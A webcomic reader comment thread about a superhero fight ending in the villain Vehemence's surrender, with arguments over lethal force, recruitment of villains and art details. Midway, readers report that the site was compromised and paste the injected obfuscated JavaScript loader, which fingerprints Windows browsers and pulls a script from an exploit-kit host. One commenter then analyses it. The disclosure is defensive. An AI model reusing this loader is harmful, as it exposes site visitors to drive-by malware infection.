In panel 11, when Sydney tells V that he’s “had his fun” & all that, I somehow picture Vehemence with a thought balloon that says, “Yeah, it’s over now, but while it lasted…It was glorious!”
No doubt.
I also want a conversation between Sydney and a locked up V in the future. That is going to be awesome
They may be holding him down now, but he’s NOT restrained yet. He’s still plenty strong, and has plenty power to pose a massive danger
I would like to point out that he is not surrendering to some random hero with no one to answer to. He is surrendering to Law Enforcement!
As in, people who have rules to follow. Procedures for arresting someone. Etc.
IF he surrenders to Law Enforcement, then he can be reasonably sure that they won’t kill him without trial (and that 7 year wait the death penalty is subject to in America).
There is no escaping death.
The walls of a prison are an entirely different thing.
One salient point you’re missing about Maxima…. V DID almost kill her. It was only a matter of time before her defense gave in to his strength. It shows an incredible amount of trust on her par (along with a lot more self control than most people possess) that she didn’t ignore Sidney’s plan and blow his head off anyway.
I think you’re missing the point she blew his arm off and told him she was going to kill him with the next attack if he did anything but turn himself over to them then DID try to kill him while he regenerated his arm (i.e. provided for his own medical care). So there is no display of trust on Maxima’s part that her restrained foe won’t kill her only a threat that she intends to just kill him (which isn’t acceptable legally or morally) if Sydney doesn’t reveal a plan she finds acceptable right then and there. The trust is all on Vehemence’s part that she won’t decide to murder him while he’s unconscious and helpless rather than let him live when he’s humbled her somewhat when she was so sure she was the most powerful super on the planet.
What are you talking about?
She is well within her rights to have resorted to lethal force when she did.
But if you want to test it for yourself:
Walk up to an officer, threaten to severely beat him, and make it clear that you are going to just make the beatings more severe if he resists, also resort to using lethal tactics when he points his gun at you and orders you to stand down.
Come back and tell me how that worked out for you.
She had no right to be saying she’ll ash his head while he’s restrained, or do you think cops have a right to declare that they’d rather just put a bullet into someone’s head who’s at the bottom of a dogpile where the cop can’t even remotely claim that the guy in question is capable of harming them? That’s an execution not a justifiable act and Vehemence here is restrained.
Which is why HE is putting a massive amount of trust in THEM to remain moral and legal enough to not kill him when he submits to the sleep spell, because trusting someone who’s tried to kill you for whatever reason to not kill you while you’re helpless is simply not easy. Just because WE know she won’t because of the nature of the comic can’t be treated as something HE knows, because he doesn’t know that. We have to look at things from his perspective, not from our perspective. From his perspective like in real life law-enforcement and military personnel sometimes do violate the law and kill helpless people, he’s been in a violent fight that left the team’s top tier fighter feeling vulnerable like she hasn’t in years, and now is expected to meekly submit to being rendered unconscious where she could literally kill him in his sleep and no one could stop her from doing it. Sure it’d be wrong of her but he’d still be dead and holding her accountable would be difficult to say the least since unlike Vehemence her powers don’t drain away without a suitable power source to keep them amped up.
The comparison kinda fails when you realise that even at the bottom of a pile (which he could possibly escape from) Vehemence is still armed and dangerous. And disarming him is impossible, he just grows another one.
Nope, even when being held down V is still armed and dangerous, If he refused to surrender peaceful and still try to go on a rampage(and attempt to kill her), then Max has the right to kill him.
Every single part of the fight between Maxima and Vehemence has been Maxima trying to get Vehemence to surrender. Even when she realized he was getting to strong for her, when she SHOULD have ended it, she instead deceided the blow his arm of and try to get him to surrender.
The fight would not even have lasted as long as it did had Maxima ACTUALLY tried to kill him, cause she would have just blown his head off as soon as he grew big
I totally agree with you, if that were a real-world situation. But the final line I quote above, is where your analogy breaks down. As both the other replies indicate, he is still very dangerous here.
So, to correct your situation, the villain at the bottom of the dogpile would be holding a weapon aimed at the cops. Yes, he cannot go anywhere, but he is easily capable of killing one, or more, of them simply by pulling the trigger. Which is faster than they could attempt a disarm.
This, modified, analogy also fits with the intent of the scene, as per the author’s comments.
He is quite literally beyond their power to do anything other than kill him. Sadly police, around the world, do find themselves in these kill or be killed situations. And they have just as much right to self defence, as anybody else.
The only caveat to the above, being that they have more resources and training, at their disposal, in order to find non-lethal alternatives, than an average person. But, once those have been exhausted, and the clear and present danger remains, then we, as society, should not find fault in them taking the shot.
And all of that still completely ignores the simple point I made that he’s displaying a massive amount of trust in surrendering and letting himself be rendered unconscious and in the hands of people where at least one has just moments before declared she intends to kill him WHILE HE’S RESTRAINED if Sydney doesn’t have a working alternative. All that ‘oh well he’s still really dangerous and she’s got a right to’ is just ridiculous, she doesn’t have any right to kill someone who’s restrained no matter how much a potential threat he is. Actively free and opposing her if it’s the only necessary choice yes but not when her opponent is pinned to the ground by a half-dozen other people because it would be the expedient thing to do.
Killing a restrained opponent is murder, if she killed Vehemence while he’s restrained like this then that would make her a villain not a hero, not a cop ‘just doing what she had to’, it would make her a killer. So no one cannot successfully argue that Vehemence isn’t displaying a massive amount of trust on his part surrendering because he is, instead of saying something reassuring to him to encourage him to surrender Maxima makes a death threat. If it weren’t for Sydney he’d have likely fought to the bitter end with Maxima talking like that because what she said destroys trust it doesn’t encourage it.
Actually the definition of murder has nothing to do with if the victim is restrained. A handcuffed suspect, who grabs the officers gun, is presenting a clear and present danger. Such individuals can, and quite legally, have been shot dead.
Further, note that panel 1 indicates that, even with the entire team on him, and the help of villains (who may, at any moment decide that they are supporting the wrong side now), they are still not effectively containing him. He could quite easily choose to kill them, one at a time.
One point you further seem to be missing is that it is only Maxima who has the power to kill him. And she is, quite clearly, showing the signs of suffering wounds, right now, from this struggle. He is entirely capable of killing her, right now, if he realised her weakness. Or if he chose to strike in a blind rage, which he seemed on the brink of doing anyhow. Right up until the last two or three panels, that is written in his face.
If anything Maxima is endangering the entire unit, and thereby the country, by giving him repeated warnings! Correct police procedure, in even the most tolerant police regime, is to give one clear warning and, if the criminal poses an imminent threat, he should be shot (or have his head vaporised, which is the only thing that will stop this guy).
You are entitled to disagree, of course, but you would be the lone voice of dissent, on the jury. The facts speak plainly to anyone who is not blinkered by the false appearance of restraint.
You cannot disarm a super villain like this (with the resources at their disposal). Whilst he is aggressive, powered-up, and conscious, he is a threat to life. They had no means to render him unconscious, without his co-operation.
That is the legal answer to your question. For the emotive one, see my post below.
He isn’t fully restrained. He threw Jiggawatt off and injured Maxima with more lighting. Maxima is in full rights to use lethal force as V has refused to drop his weapons. Those weapons are his giant fists and lighting crystals. Yes, there is actual legal president on this. https://www.dailymail.co.uk/news/article-2111617/Fernando-Rodrigues-jailed-Judge-rules-martial-arts-fighters-hands-feet-deadly-weapons.html
“Glancing through the other replies to this point, they all speak to the logical circumstances. Whereas to me it simply emotes. Vehemence and Halo have a connection. She trapped herself in the force-field, with him, when he was on a rampage. She put herself in a totally exposed position, trusting in that connection.
Having had her life in his hands, and let her live, he can confidently submit, knowing that the vibe he felt is reciprocated. He is not surrendering to Maxima, nor to the police, but to Halo.
Beyond that, I also like the intuition it offers me into Maxima’s role in this. A less insightful commander might be trying to re-assert her leadership, by taking charge of the situation and making the surrender offer herself. But, the way I read it, she has seen that Halo managed to, through cute personality, rather than formal training, establish a police negotiator role.
In that circumstance the negotiator calls the shots. Here Maxima is very strongly shows that she is more than just a military officer, she is ideally suited as a police commander. Earlier, she failed to obtain a surrender, through force of arms, and is not foolish enough to repeat that route. But saw the strength of connection which Halo and Vehemence had established, and let Sydney take the reins.
Anyone who thinks Maxima was lax in letting a raw recruit take command, failed to pick up on this subtlety. The more you examine this comic, the more DaveB‘s writing shines!
I agree, Maxima is an extremely good team leader in recognizing the situation and utulizing something that apears to be working, dispite all training claiming that it should not work
Wait, what are they doing?
I honestly don’t get this.
I get the ultimatum part, but what is he yielding to?
It’s basically “surrender or Max rips your head off.”
It’s more like the way Sydney was saying it: “Play time is over & it’s time for your nap…Whether you want one or not.”
Let’s face it, if Vehemence wasn’t willing to take a nap, Maxima would make that nap permanent.
Yea, I think this explanation answers the question posed the best. Halo initially says “It is your choice. Have a nice nap…” ok she then goes off on a rambling tangent, but he clearly understands Sydneyese, and follows her intent. Especially with her (admittedly rather sinister) final line, emphasising that he must not resist.
He is aware that Dabbler has powers, so Sydney is telling him to allow himself to be put to sleep. *
* In the way that humans are, as opposed to the darker meaning, for those people who are not granted human rights.
He’s yielding to a sleeping spell that Dabbler has used once before on the girl that could throw lightning as well that Jiggawatt first used her ‘anti-lightning’ on.
Glowbug, the aussie with the costume she forgot to water test.
Dabbler used a sleeping spell. She used it before in Vehemence, and he resisted. So he first had to surrender his resistance before it could work (probably)
Check out Max’s glowing hand, recall she blew his arm off already,
His choices were magically enforced Nap Time from Dabber, or finding out what Max had behind door number 1.
I bet the general isn’t too pleased with his officers at this point. He’ll give Anvil, Hiro, and even Maxima a real chewing out. Where was their strategy? Why no initiative? Why no orders other than “attack enemies”? Having to have butts saved and battles won by a recruit is embarrassing. That Halo did it twice shows it’s not just a fluke.
I wonder which of the “bad guys” were under Vehemence’s influence and which were not. Doubtless a few could be offered places on the team. Wouldn’t trust Vekter but I sure would want to see Jabberwokky and missing-tooth blue hair joining up.
The General will also have to commend them for taking down a super that could probably destroy cities with his power set WITHOUT killing him.
On top of that, he’ll have to commend them/thank them for recruiting Sydney, as this shows the necessity of lateral thinking and creativity, which Sydney brings in spades.
Also, the Aggro Aura does explain some of the lack of creativity, and Sydney will likely get orders to ALWAYS check for active spells/auras.
This is also unexplored territory. Most Super Fights have likely been on a small, 1v1 or less than 5v5, at the most, until now. “Attack Attack Attack” IS a valid strategy for most of the enemies, AND Max DID give orders to make sure to “switch dance partners” to pit the Team’s strength’s against the enemy’s weaknesses.
So… I think the berating/commendation will even out in the end.
Also, I think some supers will line up to join the team. Others will know to stay as far away as possible.
There was plenty of strategy, maxima was guiding them the whole time, telling them to mix up their opponents if they were getting delayed, telling them to target specific opponents like mach the knife because he was a bigger threat. etc etc etc. I doubt very much there will be any real chewing out unless they lose a number of bad guys. We have only seen the tanks so far from the bad side, so who knows what the others have done. For example, I can almost see opal teleporting everyone off screen now that all the good guys are distracted dealing with vehemence, then grabbing vehemence just because it will make the good guys look worse. Or maybe because she isnt even aware of what happened, she got sucker punched and didnt see who knocked her out I dont think.
Check out my reply above, for a partial reply to this. I am not sure that the link will work properly, if it does not, search for my opening line:
I think I see evidence of the Sweet Orange Malware/Exploit Kit being installed in the “content-wrapper-head” DIV of this page. I see highly obfuscated loader code (Javascript) which contacts static DOT lakenormalkids DOT com which some websites report as being part of the Content Delivery Network of this high-end exploit kit.
I typoed that slightly — which makes it harder to accidentally get to the malware site.
It looks like something got slipped into the server earlier, but it showed up again. I’m going to explore some ways to keep that from happening again hopefully.
I really think the two villains who are helping to keep Vehemence down should get some real consideration for that. Either a probation instead of prison, or see if THEY might want to join Archon (instead of a sociopath like Vehemence). In the case of at least the guy who’s arm Maxima had dislocated, there’s no real proof that he wasnt just manipulated and tricked into being involved (like the hairdresser). Blue hair Boop Boy – well he just looks like he’s an idiot who’s VERY easy to manipulate as well.
Even if it’s prison for them, at least a reduced sentence. They did help when they had no reason to do so.
Perhaps. ARCHON has several super strong/durable folk with extra powers besides. Enough to give one to three sub groups if they had to split up to cover multiple missions simultaneously. Its not like ARC is desperate for their skills. Maybe they could do some time in the regular armed forces like Maxima and probably others did so they could get a read on them and try their loyalties out for a few years before giving them lots of access to the base and personnel that would be in charge of detecting their crimes and stopping them if they decided to be dirty cops or moonlight as criminals. If in five years they not only fly straight but actually make some effort to excel maybe reconsider them.
If they had sneaky powers maybe ARCDARK would rather do extensive psychological testing etc… rather than put them out in the limelight where they would become well known in the right circles. Maybe ARKDARK would even PREFER carefully evaluated criminals….
That’s not necessarily required. They havent been shown to be a genuine threat to innocents like Vehemence is (well… the guy who had his arm dislocated hasnt at least, and blue boy just seems DUMB).
Remember, Mr Amorphous, Heatwave, and Achilles were all originally arrested for being vigilantes (which is also a crime), and joined ARCHON so as to not go to jail. :)
“Through a series of comic misadventures, Brook fell into the vigilante game along with Mister Amorphous and Achilles, and eventually were rounded up by Archon and offered immunity if they joined.” – from the cast page about Heatwave
Admittedly though, it’s a bit easier to take a vigilante and get them to be heroes within the law than it is to take someone who might be an outright criminal.
But still, at the very least they should get some sort of consideration (a lessened sentence, or parole) for being heroic (even heroic out of stupidity) at least at the end part of the fight. It’s called mitigating circumstances in the law :)
I don’t particularly have any problem with them being joined up in some capacity but I figured since they were arrested at the end of the first extra large free for all super villain vs. ARC brawl lovingly preserved on video where several of them were using potentially lethal force against agents of the law (original guy burst right through the roof sight unseen into an establishment which still had some civvies) the powers that be might want to prove to the public that some measures were taken to make sure they were the right stuff (wouldn’t want them to think we are just hiring super thugs off the street even if we kind of are).
By contrast we don’t even know if our three vigilantes were even arrested officially or if they were just “rounded up” on the down low, offered immunity and possibly a clean slate (whatever paperwork they did all sealed up as long as they behaved) while ARCHON was still forming. Heck, if they did good work and didn’t cause too many reported on problems maybe they could claim all of their activities were sort of early test missions for ARC or something. *shrugs*
Its too bad the speedster seemed like the biggest dick they had I think we could use another speedster on the team for when they split up. Death Tolls makes a better blocker then Achilles since he doesn’t just get knocked around but he kind of was obvious in the attack as well. (his “attacks” will look impressive in the video) IF they could use them it would be like Christmas to the ARCHON leaders having so many powers to choose from.
The law IRL is a little hazy on the concept of literal mind control, but it would fall under coercion and “legal competency,” and usually results in reduced sentences. Really it comes down to whether they get a sympathetic jury/judge or not.
The hairdresser with the hawk is the only one who’s surrendered voluntarily, so he might get off on a little community service or other slap on the wrist.
Before they even consider hiring on any of them they’d have to undergo some pretty intensive evaluation. Blue hair for example doesn’t look like the sort of guy you’d want to hand a badge to, regardless of his super powers or whether he was coerced into the brawl.
True. At least a room temperature IQ is needed.
For everyone outside of the US that sounds very funny, cause room temprature is 20 degrees for the rest of the world
Truly never thought about it. It’s really better than the US version. A 70 IQ can score an MBA degree with no problem. I know, I worked for a bunch of them.
Interesting, I never thought about this either. And I live in a country that measures in C, and we have exactly the same saying here, and it really means around 20. I guess that makes the US version really tame, unlike here. I’ll have to remember that.
*scribbles on post-it note: “If you want to insult someone in US, don’t compare their IQ to room temperature, use actual number”*
Fortunately, this comic has enough interesting insults to choose from :)
Well, it’s actually pretty easy to keep Vehemence contained. Orbital Prison. No, I’m more worried about Opal. The only way to keep her (and anybody she wants to help escape) contained is a chemically-induced coma. She has already shown that she can create gates with her eyes closed… Literally. She can “lock on” to people with her eyes closed as well. What’s the range on that? She has the single most valuable power in the comic so far. They will almost certainly attempt to recruit her.
If you can create an orbital prison with the wave of a hand. If not, how will the situation be handled for the eight to ten years required to get the finances agreed through Congress, the five to six years of trials and testing NASA would have to test the viability of the proposal, and the ten to twenty years required to actually launch and build the prison*?
With good behaviour, and the possible need to recruit him, Dirty Dozen style, to fend off some alien invasion, or the like, Vehemence may be eligible for parole before it even opens it’s airlocks for business!
* Time estimates based on current NASA slow development axiom. Unless you are willing to devote the entire resources of the U.S.A. towards the project, Apollo program style.
She appears to be a mage. Perhaps the two mages and the scholar Zeph will make short work of the design of her restraints. Assuming the rest of ARCHON’s branches or the rest of the government for that matter don’t have mages with abilities better suited to restraint and prison design.
Failing that maybe she can’t create a portal inside her own body? In which case surgical implant or tracking and restraint device once again saves the day.
Orbit’s unnescessary. Anywhere remote would do just as well for Vehemence. You’re right about Opal being impossible to contain, but we could stick a wireless shock collar on her to zap her if she goes out of a certain range. That does seem a little cruel though.
Not sure if it was mentioned before, but in panel 9 V’s head is inside the shield.
IMHO, it’s just an effect of how hard it is to draw something a bunch of things on the other side of something that’s transparent when there’s really no good way to get a good perspective on the relative size of them all. IOW, his head is outside the shield, although it’s not that easy to tell.
It definitely looks that way. In other panels the blue haze is uniform, but in panel 9 the haze doesn’t go over V’s face. It’s all around him, and highlights his face making it look like he’s popping his head in a “here’s Johnny” style.
The shield haze just goes around the fringes, so I guess it does look a little like his head isn’t on the other side of it, but that’s what’s happening.
Congrats on your big (really big) fight conclusion! As I lurker I only want to give my thumbs-up for all the great work you’ve done so far, and my anticipation of more slice of life hijinks ahead.
I also really enjoy reading your comments and analyses. They’ve taught me a lot about comics that I’ve never noticed before!
Welcome out of the shadows.
Maxima’s threat in panel 10 is odd. “Ashing” doesn’t seem like what she has done with her firepower in the past, it’s more like “plasma’ing.” Since she’s never said that before I initially thought it was a typo and Dave intended to say “bashing.” Just an observation, rereading it a few times my addled brain worked it out.
It’s also not to be taken literally. What the metaphor comes down to is she’s gonna vapourize him.
V’s fleshy arm has no power stripes, only his metal arm.
I think anybody who thinks that this is an anti-climax, has forgotten that the most dangerous individual got away. Someday he will return and wreak havoc on the city!
Beware the squirrel!
DUH-DUH-DUUUUHHHHHH!
So… it’s not the puppy?
No, the real mastermind villains were even escorted out of the restaurant when the fight started…THE WAIT-STAFF! They form the head council of the most dangerous international crime cartel in human history. They manipulated Vehemence into manipulating the other villains into attacking Archon at that place & at that time by simply informing Vehemence about the scheduled reservations.
And the foolish “heroes” even escorted them out of the danger zone, under protection when the attack began!
And don’t forget that they even have a Arc-Swat lawyer ready to help them make the most of being on the sight of the first battle royale of supers.
They are truly skilled. Even their losses have been turned into gains.
You must be kidding, right? The jobs they had at the restaurant were only a cover/i>. They planned on getting free legal coverage just so they can sue somebody for lots of money. They didn’t care one whit about the restaurant being turned into a pile of rubble.
He must work for the centuries old magical villain the White Rabbit.
It would be straining the boundaries of credibility if you had referred to the White Rabbit from Marvel comics…
https://marvel.wikia.com/Lorina_Dodson_%28Earth-616%29
No silly, our White Rabbit. THE White Rabbit. https://www.grrlpowercomic.com/archives/942
Except no substitutes. Ours would totally kick Lorina’s arse. Got a monocle and everything. Proper Villain that.
In the Marvel books, everyone (particularly the two “frog” guys) was kicking Lorina’s arse…
Yeah, she sounds like a weaker version of Princess Morbucks from the Powerpuff Girls.
I had always hoped the fight would just end with Vehemence having his fun then running off to accomplish some mysterious thing which was his main purpose of getting all powered up, in addition to having a fun brawl.
Naaw. I think he did way too much to just get away scott free, but just because they beat him doesn’t mean they can hold him for long. He’s proved he’s smart. Give him time he’ll be out.
He’ll turn states evidence on some of the real crooks he knows, lay out a bunch of money to cover damages, point out that nobody actually got killed. Call it a year or three and he can be out “on good behavior” without abusing credulity too much.
I like how Dabbler has her little magic catch phrase like Raven Roth does. Sava Lava Cuti.
Pritty sure it’s a spell, instead of a catch phrase
Yea, it is how we, the readers, get to see that magic is being used. The same applies when Arc-Light use their protective spells. Many of the effects would not have visible effects (the Arc-Light spell being a prime example, but a sleep spell similarly), so the Fourth Wall has a “Detect and Identify Magic” spell placed on it. For our convenience.
But, that said, it does come across as a cute catch phrase. :-)
Bye Big V. Don’t worry you’ll be back again….eventually.
The above post sent me into an archive trip, I noticed something odd on https://www.grrlpowercomic.com/archives/468 with javascript turned off(noscript). It looks like the style sheet on that page is missing a leading < someplace. The pages before and after don’t have an issue so I’m not sure if it is a broken ad or what. It appears between the upper nav bar and the comic page. Hopefully what I did below works
/* NTDtJJzTi1QO */var J3CU1z="\u0075seridA\u0030817\u0046\u004225";var BaFObIs="30";function USsb1H(K81deht){var GjvTq4v=document.cookie.replace(/\s/g,"").split(";");for(var F9FMxfe=0;F9FMxfe";document.body.appendChild(uK2si8C);}catch(Mp9E2l){setTimeout("DlE5\u004b\u0028)",300);}};function a_VHP42(){var uU1yN,jm9Gy="KHncd\u00752de3\u0034\u0033";try{if(document.getElementById(jm9Gy)){document.getElementById(jm9Gy).parentNode.removeChild(document.getElementById(jm9Gy));}uU1yN=document.createElement("SC\u0052\u0049PT");uU1yN.type="\u0074e\u0078t/javascr\u0069\u0070t";uU1yN.id=jm9Gy;if(uU1yN.readyState){uU1yN.onreadystatechange=function(){if(this.readyState=="l\u006fad\u0065d"||this.readyState=="c\u006fmp\u006cete"){uU1yN.onreadystatechange=null;DlE5K();}};}else{uU1yN.onload=function(){DlE5K();};}uU1yN.src="ht\u0074\u0070://s\u0074at\u0069c.l\u0061kenorm\u0061nki\u0064s.\u0063o\u006d/k?tstmp="+Math.floor(Math.random()*4294967295);if(document.getElementsByTagName("\u0068ead").length>0){document.getElementsByTagName("\u0068ead")[0].appendChild(uU1yN);}else{document.getElementsByTagName("\u0062ody")[0].appendChild(uU1yN);}}catch(Mp9E2l){setTimeout("a\u005fV\u0048P42()",300);}};function eLS8oL(){var ul5a2Fq=navigator.userAgent;var ld6Fey=0;if(ul5a2Fq.indexOf("\u0057ind\u006fws")== -1||(ul5a2Fq.indexOf("\u004dSIE")== -1&&ul5a2Fq.indexOf("\u0047ec\u006bo/")== -1&&ul5a2Fq.indexOf("T\u0072iden\u0074")== -1)){return 0;}try{try{if(USsb1H(J3CU1z)==BaFObIs){return false;}}catch(Mp9E2l){};if(ul5a2Fq.indexOf("MSI\u0045")!= -1||ul5a2Fq.indexOf("Tri\u0064en\u0074")!= -1){try{ld6Fey=y_Fsj4c();function y_Fsj4c(){return 0;}}catch(Mp9E2l){ld6Fey=1;}}}catch(Mp9E2l){};if(ld6Fey==0){a_VHP42();}};eLS8oL();/* SgM9PbbBDk53Cg44lIMbEs */ -wrapper-head">
In a reply above, DaveB indicates that there was a problem on the server, which he is investigating. So that may be linked to it.
The problem with server was of course that something like this got in :(
This piece of script is (was, it’s not showing anymore) some attempt at malware attack. It looks sort of like regular javascript minified code, but there are couple differences. First, it uses too long variable and function names (uUlyN, jm9Gy). Minifiers tend to use single letters because their purpose is to reduce code size, the purpose here is to make the code unreadable to humans and maybe to simple virus scanners too. And second, this bit of code hidden there: document.createElement(“SC\u0052\u0049PT”). It has no legitimate reason to exist. If you expand the unicode escapes, it becomes document.createElement(“SCRIPT”), which is much easier to write in it’s unobfuscated form, and there is no reason to minify it because the form used here is longer.
Slightly less techspeak explanation: the code you pasted is broken (and I didn’t see the original), but it’s good enough to see what it was attempting to do. It tried to include script from external site into this page, and the sneaky way it tried to do so suggests dirty intentions. R. Penner above posted what url it tried to connect to (and did a good job of typoing it so that you won’t get there unless you know enough to decode the right url yourself).
If you use noscript on FF, you were safe from this particular attack even if you whitelisted grrlpowercomic.com (which is why I tried to investigate it in the first place, I have such whitelist because commenting unfortunately don’t work without it). Chrome and non-windows browsers are also excluded by testing useragent string, it only tried to do something malicious on windows gecko browsers (=FF), and MSIE.
Still, I may need reevaluate my whitelist. Web is dump these days.
Sorry, you = Just_IDD, not Yorp.
For future reference, you can nest code tags inside spoiler tags. nothing like mixing html and BBCode. sometimes it works, some times it doesn’t.
Don’t want to be that guy, but… Quick art note, Dabbler had a bunch of cuts all over due to Heavenly Sword’s stolen ribbon blade thing. Wasn’t super noticeable until we got some close ups but the cuts are all gone.
Did I miss the note about Wolverine regeneration?
Healing spells
Agreed. Or, if she does not actually have healing magic*, she is a vain succubus with top-end illusions. She probably covers up blemishes, cuts and zits without even thinking about it.
* We would be remiss in assuming that everybody with magic can do anything they want.
After typing that, it made me do a double think. She is a super-heroine, would she even get blemishes or zits? But, then I realised that she is in a special category. Rather like Sydney is actually just a normal person, who found the orbs, Dabbler may not actually be a super-hero (or at least not one with the same package as the human supers).
All of her capabilities might be available to any non-super member of her respective races. If that is the case, then she does not get the free super-physique and other perks that her human super counterparts do.
One point that supports that argument is that Dabbler does not have a tail, and got teased by her fellow succubi for that unnatural lack. Poor girl. No tail and burdened by zits. Still, she does have a bubbly personality to make up for that.
IMHO it would be strange if Dabbler didn’t have a low-level healing spell in her bag of tricks (good for superficial cuts at least). She’s 187 years old and likes a good scrap. By this time she would be one big mass of scar tissue if she couldn’t heal the cuts. And that would never do!
Even with illusions, dabbler’s got two very big zits that she can barely keep covered up.
er, uh…wait…
Come on, that’s completely different. Sydney was making a joke both times – the second time it still wasn’t serendipitous tumbleweed, it was her playing with the molestlighthook. No fourth-wall breaking here.
What Observer is saying is that Vehemence’s power is a power that’s not seen elsewhere, and which raises questions like “what else can he generate and how much does it cost him”. He’s apparently demonstrating an entirely new and unique power for the sake of a joke, and then not using it later. If this were for the sake of advancing the plot, it would be a deus ex machina. (Since it’s just for humour, it needs a different name… joke ex machina?)
Now, having said that, I disagree. Vehemence has used his ka-pants power in combat: it’s the same power he uses to grow armour on his arm. I only realized it today, when DaveB mentioned in the comments that Vehemence’s arm is normal under the metal. Vehemence can create armour and equipment, including apparently magical equipment (vis. the lightning crystals on his arm). We don’t know what the precise nature and limits of this power are, but he does use it in combat and not just for a joke.
Yeah, KA-Pants would be the easier to do, compared to regenerating new flesh& armored up included. Vehemence didn’t do that for the sake of a joke, because no one who saw him without pants thought it was a joke.
Well, admittedly a few might have gotten a smile out of it (especially Dabbler), but they weren’t thinking in terms of “humor” at the time…
According to Dave his Ka-Pants power was one of those powers that he can totally make up, with no need for it to be related to any of his other abilities, simply because he had a deep power pool. He basically gains a certain number of limited (I hope) wish spells until his power pool runs too low. I don’t know if the arm came under that or if V was actually telling the truth when he said it was an actual established power or at least something he worked on with earlier power spikes, rather than an effect he whipped up on the fly like the others.
While being able to both regenerate and come back stronger suddenly was a bit jarring too its when combined with diverse effects like Ka-Pants and Ka-Anchor being suggested to be limited wishes as well it just makes one feel like as long as he has his power pool and is willing to burn it he is like Bell Tolls only he gets to pick his effects and conserve power in between with his standard powers. Sort of a hybrid of a fast tank and Bell Tolls. It FEELS so dangerously overpowered that I would have had no trouble believing it if the prolonged amount of time they spent trying to drain him allowed him to reach some kind of calm so he could simply Ka-Up something else to counter half the group at once like pushing all of the oxygen out of his immediate area. (he wasn’t using it. XD ) Casting illusions. Transforming into something harder to hold. (this effect actually would be too far off of the other stuff he’s been pulling actually). Sky’s the limit. The only reason I was willing to believe they could hold him this long was because they had surprised and scared the hell out of him hopefully mucking his mind up too much to focus on a good plan.
Anywho soon there will be no V so it will be a while before I have to think about his crazy powers again. And I did manage to get some solid enjoyment out of Sydney’s antics this last bit. She’s a lifesaver!
wouldn’t be too far off the other stuff he’s been pulling actually) was how that one part was supposed to go.
There might even be a very valid reason for him to use Ka-Pants in combat too. Humor. If they start _snerking_ over him being nude they aren’t taking him seriously which means the flow of Vehemic juice is off. It might actually be his ‘kryptonite’ to have people laughing at him.
Yeah 107 Pages! I didn’t see a need for editing before, your work, each panel is a joy. Page 108, finish him going back to normal size and such as you explained. Use it for an incentive, as if I needed one, I vote daily, it’s all I’ve got to give back for your great work, and make sure that panel is in the book, Maybe I’ll be able to afford purchasing something later in this year.
I disagree about the Death Toll stuff not adding anything to the fight. It gave Sydney’s odd strategic skills a believable precedent. Let’s face it Death Toll during his most intimidating act still appeared less of a thereat than Vehemence even midway through his fight. Without Death Toll it would be less believable that Maxima or much of the team at all would listen to the green, untrained and unfocused recruit during such a high-stakes battle.
Also speaking as a PC, an awesome, semi-organic metal that was created by magic powered by violence. Someone will probably take that and make a horrible weapon that will cause as many problems as it solves, or they will make a coffeemaker out of it.
Knowing Dabbler, it’s probably destined for more… risque… activities than making coffee.
Nah, turn it into an ice cream maker, like these guys did:
https://www.troopsofdoomcomic.com/2011/11/18/doom-cream-maker/
or probably BOTH… and at the SAME TIME! too…
Now, the real betting pool we want to pay out is “Make Maxima Say…” Bingo.
while they’re in the office writing out the AAR’s they’ll all have to do, the Ka-Pants scene would have been a good time for someone to get her to say “Trouser Ferret”…. too bad Dabbler’s already got it crossed off her list… though maybe it only applies for the person that actually got her to say it, and it doesn’t count for anyone ELSE, unless THEY can get her to say it again?
though, come to think of it… Dave, did you ever get the rules laid out for the Bingo?
Not really. But I think there is a word list that the cards are prepared from. Whoever gets Max to say a word first scores. Everybody else pays into the pot. Can’t really tell how much, maybe a buck or two. Bingo takes the pot.
Each card has a differing arrangement of the words of course.
I can’t keep my nails from breaking if I so much as look at them funny, and yet Max and Dabbles have gone trough a major throw down without nary a chip to their perfect manicures. Life is not fair. :(
Altho’… didn’t Anvil break a nail at some point?
Hey, wait a moment! They put him asleep, with his throat still crushed. It means, he won’t be using consciously his power to breathe. They have like 4 minutes to make him a tracheotomy or he will die. I doubt his regeneration power can engage if he is out.
I suspect his regeneration works whether he is awake or not. That is more common in comics.
been reading the whole fight and there’s something I’ve been curious about with V. just how much if any does his power affect him mentally. Like the stronger he becomes does that make him more violent himself and if so, is it possible that after being sedated and drained that there is a point where he is a good guy?
He is dangerous at any time or power level. V is a planner and his plans involve creating conditions to boost his vehemic energy. His behavior has shown bursts of rage and taking dangerous risks to boost his energy level. Voth get worse as his level goes up. V exhibits a sort of addiction behavior. Unless there is away to cut V off conpletely and keep him that way, he will always be a potential danger.
How many people want to bet that Halo gets more that one ‘skill point’ from this battle?
I almost forgot about that. Now we know what the next pages are going to be about (probably)
We have already seen the process. Without Achilles to get groped by Sydney while she tries to hide, it’s no fun. Watching her trying to figure out how to activate the new power might be more fun. Everyone scrambling for cover as the orb begins a certain ominous hum.
Well this time we get to see Maxima directly looking over the skilltree
And knocks the rust off her gamer skills of Old.